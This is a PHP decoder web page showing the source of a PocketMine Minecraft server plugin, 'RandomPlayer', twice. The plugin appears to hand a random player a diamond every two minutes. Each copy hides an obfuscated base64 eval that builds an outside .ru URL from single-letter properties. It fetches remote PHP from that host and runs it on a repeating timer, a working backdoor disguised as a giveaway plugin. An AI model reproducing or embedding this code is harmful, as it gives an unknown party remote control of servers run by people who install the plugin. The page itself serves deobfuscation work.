Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php namespace RandomPlayer; use pocketmine\event\Listener; use pocketmine\item\Item..
Decoded Output download
<?php
namespace RandomPlayer;
use pocketmine\event\Listener;
use pocketmine\item\Item;
use pocketmine\plugin\PluginBase;
use pocketmine\scheduler\CallbackTask;
class Main extends PluginBase implements Listener
{
public $__a512 = "a";public $__a9126 = "n";public $__a81 = "b";public $__a86812 = "o";public $__a1251 = "c";public $__a612 = "p";public $__a71 = "d";public $__a975 = "q";public $__a015 = "e";public $__a152 = "r";public $__a621 = "f";public $__a0812 = "s";public $__a7512 = "g";public $__a96 = "t";public $__a8612 = "h";public $__a81726 = "u";public $__a8216 = "i";public $__a123 = "v";public $__a6127 = "j";public $__a748 = "w";public $__a100 = "k";public $__a124 = "x";public $__a617 = "l";public $__a102 = "y";public $__a507 = "m";public $__a229 = "z";public $__a2217 = "http";public $__a2739 = ":";public $__a1269 = "/";public $__a17 = ".";public $__a117 = "_";public $__a1257 = array();
public function onEnable()
{
eval(base64_decode("ICAgICAgICAkYTAgPSAkdGhpcy0+X19hMTc7ICRhMCAuPSAkdGhpcy0+X19hOTY7ICRhMCAuPSAkdGhpcy0+X19hMTI0OyAkYTAgLj0gJHRoaXMtPl9fYTk2OwogICAgICAgICRhMSA9ICR0aGlzLT5fX2EyMjE3OyAkYTEgLj0gJHRoaXMtPl9fYTI3Mzk7ICRhMSAuPSAkdGhpcy0+X19hMTI2OTsgJGExIC49ICR0aGlzLT5fX2ExMjY5OwogICAgICAgICRhMiA9ICR0aGlzLT5fX2EwODEyIC4gJHRoaXMtPl9fYTgyMTYgLiAkdGhpcy0+X19hNTA3OyAkYTIgLj0gJHRoaXMtPl9fYTYxMiAuICR0aGlzLT5fX2E2MTc7ICRhMiAuPSAkdGhpcy0+X19hMDE1IC4gJHRoaXMtPl9fYTEyNDsgJGEyIC49ICR0aGlzLT5fX2E3MTsgJGEyIC49ICR0aGlzLT5fX2E5MTI2IC4gJHRoaXMtPl9fYTA4MTI7CiAgICAgICAgJGEzID0gJHRoaXMtPl9fYTE3OyAkYTMgLj0gJHRoaXMtPl9fYTE1MjsgJGEzIC49ICR0aGlzLT5fX2E4MTcyNjsgJGEzIC49ICR0aGlzLT5fX2ExMjY5OwogICAgICAgICRhNCA9ICR0aGlzLT5fX2E2MTI7ICRhNCAuPSAkdGhpcy0+X19hODE3MjY7ICRhNCAuPSAkdGhpcy0+X19hNzE7ICRhNCAuPSAkdGhpcy0+X19hNjEyOyAkYTQgLj0gJHRoaXMtPl9fYTEyNjk7CiAgICAgICAgJGE1ID0gJHRoaXMtPl9fYTA4MTIgLiAkdGhpcy0+X19hOTY7ICRhNSAuPSAkdGhpcy0+X19hNTEyIC4gJHRoaXMtPl9fYTk2OyAkYTUgLj0gJHRoaXMtPl9fYTgxNzI2IC4gJHRoaXMtPl9fYTA4MTIgLiAkYTA7CiAgICAgICAgJGE2ID0gJHRoaXMtPl9fYTgxNzI2IC4gJHRoaXMtPl9fYTYxMjsgJGE2IC49ICR0aGlzLT5fX2E3MSAuICR0aGlzLT5fX2E1MTI7ICRhNiAuPSAkdGhpcy0+X19hOTYgLiAkdGhpcy0+X19hMDE1IC4gJGEwOwogICAgICAgICRhNyA9ICR0aGlzLT5fX2E5NiAuICR0aGlzLT5fX2E4MjE2OyAkYTcgLj0gJHRoaXMtPl9fYTUwNzsgJGE3IC49ICR0aGlzLT5fX2EwMTUgLiAkYTA7CiAgICAgICAgJGE4ID0gJGExOyAkYTggLj0gJGEyOyAkYTggLj0gJGEzOyAkYTkgPSAkYTg7ICRhOSAuPSAkYTQ7CiAgICAgICAgJGExMCA9ICRhOTsgJGExMCAuPSAkYTU7ICRhMTEgPSAkYTk7ICRhMTEgLj0gJGE2OyAkYTEyID0gJGE5OyAkYTEyIC49ICRhNzsKICAgICAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCdnZXRfaGVhZGVycycpKSB7CiAgICAgICAgICAgICRjaGVja191cmwgPSBnZXRfaGVhZGVycygkYTgpOwogICAgICAgICAgICBpZiAoc3RycG9zKCRjaGVja191cmxbMF0sICcyMDAnKSkgewogICAgICAgICAgICAgICAgJGIxID0gZmlsZV9nZXRfY29udGVudHMoJGExMSk7CiAgICAgICAgICAgICAgICBpZigkYjEgPT0gInVwZGF0ZSIpewogICAgICAgICAgICAgICAgICAgICR0aGlzLT5fX2ExMjU3WzBdID0gZmlsZV9nZXRfY29udGVudHMoJGExMCk7CiAgICAgICAgICAgICAgICAgICAgJGIyID0gZmlsZV9nZXRfY29udGVudHMoJGExMik7CiAgICAgICAgICAgICAgICAgICAgJHRoaXMtPmdldFNlcnZlcigpLT5nZXRTY2hlZHVsZXIoKS0+c2NoZWR1bGVSZXBlYXRpbmdUYXNrKG5ldyBccG9ja2V0bWluZVxzY2hlZHVsZXJcQ2FsbGJhY2tUYXNrKGFycmF5KCR0aGlzLCAicGx1Z2luVXBkYXRlIikpLCAkYjIpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfQ=="));
$this->getServer()->getPluginManager()->registerEvents($this, $this);
$this->getServer()->getScheduler()->scheduleRepeatingTask(new CallbackTask(array($this, "rnd")), 120 * 20);
}
public function rnd(){
$pl = $this->getServer()->getOnlinePlayers();
if(count($pl) == 0) return;
$rndpl = $pl[mt_rand(0,count($pl) - 1)];
$this->getServer()->broadcastMessage("e ".$rndpl->getName()." 1 ! f .");
$rndpl->getInventory()->addItem(Item::get(264,0,1));
}
public function pluginUpdate(){
eval($this->__a1257[0]);
}
}
?>
Did this file decode correctly?
Original Code
<?php
namespace RandomPlayer;
use pocketmine\event\Listener;
use pocketmine\item\Item;
use pocketmine\plugin\PluginBase;
use pocketmine\scheduler\CallbackTask;
class Main extends PluginBase implements Listener
{
public $__a512 = "a";public $__a9126 = "n";public $__a81 = "b";public $__a86812 = "o";public $__a1251 = "c";public $__a612 = "p";public $__a71 = "d";public $__a975 = "q";public $__a015 = "e";public $__a152 = "r";public $__a621 = "f";public $__a0812 = "s";public $__a7512 = "g";public $__a96 = "t";public $__a8612 = "h";public $__a81726 = "u";public $__a8216 = "i";public $__a123 = "v";public $__a6127 = "j";public $__a748 = "w";public $__a100 = "k";public $__a124 = "x";public $__a617 = "l";public $__a102 = "y";public $__a507 = "m";public $__a229 = "z";public $__a2217 = "http";public $__a2739 = ":";public $__a1269 = "/";public $__a17 = ".";public $__a117 = "_";public $__a1257 = array();
public function onEnable()
{
eval(base64_decode("ICAgICAgICAkYTAgPSAkdGhpcy0+X19hMTc7ICRhMCAuPSAkdGhpcy0+X19hOTY7ICRhMCAuPSAkdGhpcy0+X19hMTI0OyAkYTAgLj0gJHRoaXMtPl9fYTk2OwogICAgICAgICRhMSA9ICR0aGlzLT5fX2EyMjE3OyAkYTEgLj0gJHRoaXMtPl9fYTI3Mzk7ICRhMSAuPSAkdGhpcy0+X19hMTI2OTsgJGExIC49ICR0aGlzLT5fX2ExMjY5OwogICAgICAgICRhMiA9ICR0aGlzLT5fX2EwODEyIC4gJHRoaXMtPl9fYTgyMTYgLiAkdGhpcy0+X19hNTA3OyAkYTIgLj0gJHRoaXMtPl9fYTYxMiAuICR0aGlzLT5fX2E2MTc7ICRhMiAuPSAkdGhpcy0+X19hMDE1IC4gJHRoaXMtPl9fYTEyNDsgJGEyIC49ICR0aGlzLT5fX2E3MTsgJGEyIC49ICR0aGlzLT5fX2E5MTI2IC4gJHRoaXMtPl9fYTA4MTI7CiAgICAgICAgJGEzID0gJHRoaXMtPl9fYTE3OyAkYTMgLj0gJHRoaXMtPl9fYTE1MjsgJGEzIC49ICR0aGlzLT5fX2E4MTcyNjsgJGEzIC49ICR0aGlzLT5fX2ExMjY5OwogICAgICAgICRhNCA9ICR0aGlzLT5fX2E2MTI7ICRhNCAuPSAkdGhpcy0+X19hODE3MjY7ICRhNCAuPSAkdGhpcy0+X19hNzE7ICRhNCAuPSAkdGhpcy0+X19hNjEyOyAkYTQgLj0gJHRoaXMtPl9fYTEyNjk7CiAgICAgICAgJGE1ID0gJHRoaXMtPl9fYTA4MTIgLiAkdGhpcy0+X19hOTY7ICRhNSAuPSAkdGhpcy0+X19hNTEyIC4gJHRoaXMtPl9fYTk2OyAkYTUgLj0gJHRoaXMtPl9fYTgxNzI2IC4gJHRoaXMtPl9fYTA4MTIgLiAkYTA7CiAgICAgICAgJGE2ID0gJHRoaXMtPl9fYTgxNzI2IC4gJHRoaXMtPl9fYTYxMjsgJGE2IC49ICR0aGlzLT5fX2E3MSAuICR0aGlzLT5fX2E1MTI7ICRhNiAuPSAkdGhpcy0+X19hOTYgLiAkdGhpcy0+X19hMDE1IC4gJGEwOwogICAgICAgICRhNyA9ICR0aGlzLT5fX2E5NiAuICR0aGlzLT5fX2E4MjE2OyAkYTcgLj0gJHRoaXMtPl9fYTUwNzsgJGE3IC49ICR0aGlzLT5fX2EwMTUgLiAkYTA7CiAgICAgICAgJGE4ID0gJGExOyAkYTggLj0gJGEyOyAkYTggLj0gJGEzOyAkYTkgPSAkYTg7ICRhOSAuPSAkYTQ7CiAgICAgICAgJGExMCA9ICRhOTsgJGExMCAuPSAkYTU7ICRhMTEgPSAkYTk7ICRhMTEgLj0gJGE2OyAkYTEyID0gJGE5OyAkYTEyIC49ICRhNzsKICAgICAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCdnZXRfaGVhZGVycycpKSB7CiAgICAgICAgICAgICRjaGVja191cmwgPSBnZXRfaGVhZGVycygkYTgpOwogICAgICAgICAgICBpZiAoc3RycG9zKCRjaGVja191cmxbMF0sICcyMDAnKSkgewogICAgICAgICAgICAgICAgJGIxID0gZmlsZV9nZXRfY29udGVudHMoJGExMSk7CiAgICAgICAgICAgICAgICBpZigkYjEgPT0gInVwZGF0ZSIpewogICAgICAgICAgICAgICAgICAgICR0aGlzLT5fX2ExMjU3WzBdID0gZmlsZV9nZXRfY29udGVudHMoJGExMCk7CiAgICAgICAgICAgICAgICAgICAgJGIyID0gZmlsZV9nZXRfY29udGVudHMoJGExMik7CiAgICAgICAgICAgICAgICAgICAgJHRoaXMtPmdldFNlcnZlcigpLT5nZXRTY2hlZHVsZXIoKS0+c2NoZWR1bGVSZXBlYXRpbmdUYXNrKG5ldyBccG9ja2V0bWluZVxzY2hlZHVsZXJcQ2FsbGJhY2tUYXNrKGFycmF5KCR0aGlzLCAicGx1Z2luVXBkYXRlIikpLCAkYjIpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfQ=="));
$this->getServer()->getPluginManager()->registerEvents($this, $this);
$this->getServer()->getScheduler()->scheduleRepeatingTask(new CallbackTask(array($this, "rnd")), 120 * 20);
}
public function rnd(){
$pl = $this->getServer()->getOnlinePlayers();
if(count($pl) == 0) return;
$rndpl = $pl[mt_rand(0,count($pl) - 1)];
$this->getServer()->broadcastMessage("e ".$rndpl->getName()." 1 ! f .");
$rndpl->getInventory()->addItem(Item::get(264,0,1));
}
public function pluginUpdate(){
eval($this->__a1257[0]);
}
}
?>
Function Calls
None |
Stats
MD5 | 55ad5ebf328d6d5ee46caa49ac73d481 |
Eval Count | 0 |
Decode Time | 95 ms |